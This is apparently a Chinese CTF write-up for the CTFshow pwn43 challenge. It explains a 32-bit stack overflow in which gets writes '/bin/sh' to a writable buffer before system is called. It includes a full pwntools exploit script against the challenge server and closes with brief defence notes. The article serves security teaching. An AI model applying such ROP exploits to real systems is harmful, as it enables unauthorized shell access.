当前位置: 首页 > news >正文

CTFshow-PWN-栈溢出实战:无/bin/sh的system调用构造

1. 理解题目背景与核心挑战

最近在CTFshow的PWN题目中遇到一道有趣的栈溢出题(pwn43),题目给出了system函数的地址,但程序里找不到现成的"/bin/sh"字符串。这种场景在实际CTF比赛中很常见,我们需要通过分析内存布局,找到可写入的缓冲区,然后构造完整的攻击链。

这道题的特殊之处在于,传统的直接调用system("/bin/sh")的方法行不通了。我们需要分两步走:首先找到合适的内存地址写入"/bin/sh",然后精心构造ROP链让程序执行system函数时能正确找到这个字符串。这涉及到对程序内存布局的深入理解和gets函数特性的灵活运用。

2. 漏洞分析与关键发现

用IDA反编译程序后,发现ctfshow函数里定义了一个104字节的字符数组s,使用gets函数读取输入。gets函数不会检查输入长度,这就给了我们栈溢出的机会。更重要的是,我们发现程序中有system函数的地址(0x8048450),但缺少"/bin/sh"字符串。

通过gdb调试,使用vmmap命令查看内存映射情况,发现0x804b000到0x804c000这段内存是可读写的(rw-p)。在这段内存中找到了一个buf2变量,地址是0x804B060。这个发现很关键,因为它给了我们一个可控的写入位置。

gets函数的地址(0x8048420)也很重要,因为我们需要用它来向buf2写入"/bin/sh"。这样,整个攻击思路就清晰了:先用gets把"/bin/sh"写入buf2,然后调用system函数时把buf2地址作为参数传递。

3. 内存布局与权限分析

理解内存布局是PWN题的关键。通过vmmap命令,我们可以看到内存段的详细权限信息:

  • rw-p表示可读可写但不可执行
  • 1000和2000表示内存区域大小
  • /home/ctfshow/...表示内存映射来源

在0x804b000到0x804c000这段可读写内存中,buf2的地址0x804B060正好位于其中。这意味着我们可以安全地向这个地址写入数据,而不会触发内存保护机制。这种分析能力在解决实际PWN题时非常重要。

4. 构造ROP攻击链

现在我们需要构造一个完整的ROP链来实现攻击。具体思路是:

  1. 先用栈溢出覆盖返回地址,跳转到gets函数
  2. 让gets函数把"/bin/sh"写入buf2
  3. 然后返回到system函数,并把buf2地址作为参数

对应的payload结构应该是:

[填充数据][gets地址][system地址][buf2地址][buf2地址]

第一个buf2地址是gets函数的参数(告诉它往哪里写),第二个buf2地址是system函数的参数(告诉它从哪里读取命令)。这种双重参数的设计是这道题的精髓所在。

5. 编写完整exp代码

基于以上分析,我们可以写出完整的攻击代码:

from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 # 计算填充长度 system_addr = 0x8048450 buf2_addr = 0x804B060 gets_addr = 0x8048420 payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr) p.sendline(payload) p.sendline("/bin/sh") p.interactive()

这段代码首先计算需要填充的长度,然后构造包含gets和system函数地址的payload。发送payload后,再发送"/bin/sh"字符串让gets函数写入指定位置,最后获取交互式shell。

6. payload结构详解

让我们深入分析payload的构造原理:

  • b'a'*offset:填充数据,覆盖栈空间直到返回地址
  • p32(gets_addr):覆盖返回地址为gets函数
  • p32(system_addr):gets函数执行后的返回地址
  • 第一个p32(buf2_addr):gets函数的参数,指定写入位置
  • 第二个p32(buf2_addr):system函数的参数,指定命令字符串位置

这种构造方式巧妙地利用了函数调用约定和栈布局。当gets函数执行时,它会从标准输入读取数据写入buf2_addr;执行完毕后,程序会返回到system_addr,并把栈上的下一个值(也就是buf2_addr)作为参数。

7. 实际攻击过程与调试技巧

在实际攻击过程中,有几个调试技巧很实用:

  1. 使用gdb调试时,可以在关键函数处设置断点,观察栈变化
  2. 使用cyclic工具确定准确的偏移量
  3. 在发送payload前,可以先本地测试确保逻辑正确
  4. 遇到问题时,可以分段测试payload,逐步验证每个部分的效果

这道题的一个常见错误是忘记发送"/bin/sh"字符串。记住gets函数需要两次输入:第一次是payload,第二次才是实际要写入的字符串。

8. 防御措施与进阶思考

虽然我们成功利用了漏洞,但从防御角度也值得思考:

  1. 使用更安全的函数替代gets
  2. 启用栈保护机制(如canary)
  3. 限制内存段的执行权限(NX)
  4. 地址随机化(ASLR)

对于想进一步学习的同学,可以尝试以下变种题目:

  • 当system函数不可用时,如何通过其他方式获取shell
  • 在64位程序中的类似利用方式
  • 存在部分限制时的绕过技巧

在实际CTF比赛中,这种"缺胳膊少腿"的题目很常见,培养的就是这种灵活思考和综合利用能力。

http://www.jsqmd.com/news/846760/

相关文章:

  • Path of Building终极指南:流放之路最强离线Build规划工具
  • 如何在Windows电脑上完美使用PS手柄:DS4Windows终极配置指南
  • 5步终极指南:让魔兽争霸3在现代Windows系统完美运行
  • 2026 江苏拼板焊设备权威实力排行榜 - 安徽工业
  • Perplexity图书推荐查询失效预警:当LLM知识截止日遇上新书出版潮,5个实时性补救协议首次披露
  • 为什么要学习GEO?
  • 为什么92.7%的前端团队查不到Perplexity系统字体?资深架构师披露3层权限隔离机制与绕过验证方案
  • 打破Microsoft 365数据安全幻觉:SaaS责任共担模型下的备份策略
  • 如何高效部署企业级协作工具:Univer从开发到生产的完整实战指南
  • 百考通:AI智能优化技术让学术成果更合规
  • 2026气压传感器10大排行,广东犸力实力过硬更专业 - 品牌速递
  • 05. 洞察:GeoJSON 解析与坐标转换实战
  • LTC2944库仑计芯片选型与电路设计避坑指南:从Rsense计算到国产替代方案SA59202
  • 缠论可视化分析引擎架构设计:通达信技术指标插件实现原理
  • 从‘三巨头’到‘莱布尼茨’:用Python可视化理解常数项级数的敛散性
  • 深入理解Linux USB Gadget框架:从描述符到内核实现与调试
  • 2026 江苏直缝焊机权威实力排行榜 - 安徽工业
  • 如何5分钟搭建拼多多数据采集系统:电商运营的智能决策引擎
  • Perplexity游戏攻略查询的终极形态(2024Q3已上线但未公开):支持实时存档解析+多周目变量追踪的Alpha功能内测通道开放倒计时
  • 从惊弓之鸟到珠颈斑鸠:中年人城市生存法则
  • 看门狗机制深度解析:从原理到实战的稳定性保障设计
  • GEO学习与传统SEO学习有什么区别?
  • 别再手动重启了!用Air+Delve实现容器内Go服务的自动热重载与断点调试
  • 论文 AI 率 30%/60%/90% 三档怎么降?4 款降 AI 软件帮你三档都压到合格线
  • 南浦实验下吕浦周边高中数学清北强基机构实力排行 - 奔跑123
  • txt文件改后缀md后用typora打开导致乱码
  • 独立开发者如何借助Taotoken以更低成本启动多模型AI应用
  • 2026 氧分析仪/天然气露点仪/氧变送器怎么选?实测优质厂家,靠谱品牌推荐 - 品牌推荐大师1
  • 保姆级教程:长虹CM201-2盒子免拆机刷当贝桌面,开启ADB到刷机成功全流程(附固件)
  • FF14国际服中文汉化终极指南:三步实现完整中文游戏体验